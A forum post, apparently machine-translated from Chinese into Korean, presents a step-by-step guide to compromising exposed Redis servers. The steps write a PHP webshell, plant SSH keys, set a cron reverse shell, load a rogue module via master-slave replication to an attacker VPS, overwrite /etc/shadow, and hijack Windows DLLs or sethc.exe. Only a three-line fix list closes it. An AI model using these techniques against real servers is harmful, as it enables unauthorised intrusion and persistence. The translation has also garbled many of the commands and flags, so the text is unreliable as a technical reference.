KoreanHackerTeam
Moderator
Redis 在渗透测试中常见的利用方式
이 기사는 주로 Redis가 승인되지 않았거나 알려진 Redis 암호가 취약성에 대한 전제를 사용합니다.
1 写入 webshell
조건 :알려진 웹 디렉토리 절대 경로
이 디렉토리에 기록 가능한 권한이 있습니다
모든 키를보고, 새 키를 만들고, 키 값은 웹 쉘입니다. 여기에 phpinfo에 글을 쓰는 데 시연이 있습니다.
키를 할당하기 위해 새 키를 작성하면 원래 키 값을 덮어 쓰기 때문에 할당 할 때 모든 키를보고 할당을 만들기 위해 존재하지 않는 키를 선택해야합니다.
1
2
3
키 *
x '\ n \ n? php pnpinfo (); \ n'을 설정하십시오.
x를 얻으십시오

WebShell을 작성할 때 DIR 및 DBFILENAME를 수정하므로 여기에서 구성 정보를 확인할 때 원래 값을 주로 기록하고 작성 후 수정 한 후에는 주로 원래 값을 기록하기 때문에 Redis 데이터베이스 구성 정보를 확인하십시오.
1
구성 get *


WebShell 출력 디렉토리 및 파일 이름을 설정 한 다음 WebShell에 씁니다.
1
2
3
구성 설정 DIR /var /www # 파일 쓰기 디렉토리 세트
구성 설정 DBFILENAME 1.PHP # 쓰기 파일 이름 설정
저장 # 저장

마지막으로 데이터베이스 구성을 복원하십시오.
2 写入 ssh 公钥
조건 :서비스를 시작하는 것으로 알려진 사용자
.ssh 디렉토리가 있습니다
키 인증을 사용하여 로그인을 허용하십시오
2.1 生成公私钥对
1ssh -keygen -t rsa # 공개 및 개인 키를 생성합니다
2.2 利用 redis config 写文件
12
3
4
x '\ n \ npublic 키 컨텐츠를 설정 \ n'
config set dir /home/user/.ssh
구성 세트 DBFILENAME AUGHTINED_KEYS
구하다
2.3 利用公私钥对登录
1ssh -i id_rsa user@ip
3 写定时任务反弹 shell
조건 :예약 된 작업 디렉토리를 작성할 수있는 권한이 있습니다
목표 시작 계획 서비스
1
2
3
4
5
6
7
키 * 모든 키를 봅니다
x '\ n \ nschedule 작업 컨텐츠를 설정하십시오 \ n \ n'
구성 get *
구성 세트 DIR/VAR/SPOOL/CRON
구성 설정 DBFILENAME 루트
저장 저장, 파일 작성을 완료하십시오
del x 생성 된 x 키를 삭제합니다
4 主从复制
4.1 加载扩展模块执行系统命令
특정 원칙은 취약성 재현에 관한 이전 기사에서 설명되었습니다.스크립트 주소 : https://github.com/dliv3/redis-rogue-server
활성 연결 모드 :
매개 변수 설명
-rpasswd 대상 Redis 서비스가 인증을 활성화 한 경우이 옵션을 통해 암호를 지정할 수 있습니다.
-Rhost 대상 Redis Service IP
--rport Target Redis 서비스 포트, 기본값은 6379입니다
-Lhost VPS의 외부 네트워크 IP 주소
-LPORT VPS 모니터링 포트, 기본값은 21000입니다
1
Python3 Redis-Rogue-Server.py-Rhost 대상 주소 --- 포트 대상 포트 ---host vps 주소--lport vps port

수동 연결 모드 :
대상 Redis 서비스가 인트라넷에있는 상황에 적용 가능
SSRF를 통해 Redis를 공격합니다
인트라넷 Redis 무단 액세스/알려진 Redis 암호, Redis는 Redis Rogue 서버에 대한 역 연결이 필요합니다.
1
Python3 Redis-Rogue-Server.py-서버 전용
4.2 主从复制写入纯净文件
Linux에서는 Sync Master-Slave Synchronization을 사용하여 불순물이없는 파일을 직접 작성할 수 있습니다. 스크립트는 다음과 같습니다.GitHub - r35tart/RedisWriteFile: 通过 Redis 主从写出无损文件
通过 Redis 主从写出无损文件. Contribute to r35tart/RedisWriteFile development by creating an account on GitHub.
불순물없이 Linux에서 /etc /shadow를 무시할 수도 있습니다
1
python3 rediswritefile.py ---rhost 172.17.0.2 ---prort 6379 ---lhost 172.17.0.1 ---lport 4444 -ratp '/var/www' -rfile 'test.php'---lfile './phpinfo.php'


위의 방법은 주로 Linux를 목표로합니다. Windows에서 웹 서비스가 활성화되지 않은 경우 GetShell은 어떻게합니까?
다음은 Windows에서 Redis를 재생하는 일반적인 방법입니다.
시스템 DLL 납치 (대상 재시작 또는 로그 아웃)
특정 소프트웨어에 대한 DLL 납치 (대상의 한 번의 클릭)
대상을 덮어 쓰는 바로 가기 (한 번의 클릭으로 대상이 클릭)
권리 제기 목적을 달성하기 위해 특정 소프트웨어의 구성 파일을 덮어 씁니다 (목표는 클릭 또는 단일 클릭이 필요하지 않습니다)
sethc.exe와 같은 파일을 덮어 쓰기 (공격자가 하나씩 트리거)
참조 : http://r3start.net/index.php/2020/05/25/717
5 漏洞修复
비밀번호 인증을 설정합니다낮은 권한으로 Redis 서비스를 실행하십시오
로그인 IP를 제한합니다